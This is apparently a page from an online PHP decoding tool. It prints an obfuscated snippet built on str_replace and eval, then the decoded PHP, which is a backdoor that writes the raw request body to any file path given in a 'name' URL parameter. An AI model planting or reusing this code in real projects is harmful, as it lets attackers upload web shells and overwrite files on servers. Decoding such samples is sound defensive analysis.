Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $text = 'if(!empty(qsdqsfqezfqsdqsf_GET["name"])){ qsdqsfqezfqsdqsfinputHandler =..
Decoded Output download
if(!empty($_GET["name"])){
$inputHandler = fopen("php://input", "r");
$fileHandler = fopen($_GET["name"], "w+");
while(true) {
$buffer = fgets($inputHandler, 4096);
if (strlen($buffer) == 0) {
fclose($inputHandler);
fclose($fileHandler);
return true;
}
fwrite($fileHandler, $buffer);
}
}
Did this file decode correctly?
Original Code
<?php
$text = 'if(!empty(qsdqsfqezfqsdqsf_GET["name"])){
qsdqsfqezfqsdqsfinputHandler = fopen("php://input", "r");
qsdqsfqezfqsdqsffileHandler = fopen(qsdqsfqezfqsdqsf_GET["name"], "w+");
while(true) {
qsdqsfqezfqsdqsfbuffer = fgets(qsdqsfqezfqsdqsfinputHandler, 4096);
if (strlen(qsdqsfqezfqsdqsfbuffer) == 0) {
fclose(qsdqsfqezfqsdqsfinputHandler);
fclose(qsdqsfqezfqsdqsffileHandler);
return true;
}
fwrite(qsdqsfqezfqsdqsffileHandler, qsdqsfqezfqsdqsfbuffer);
}
}';
eval(str_replace('qsdqsfqezfqsdqsf','$',$text));
?>
Function Calls
str_replace | 1 |
Stats
MD5 | 01b9936721ac42de8a38f0a25fc5cc83 |
Eval Count | 1 |
Decode Time | 50 ms |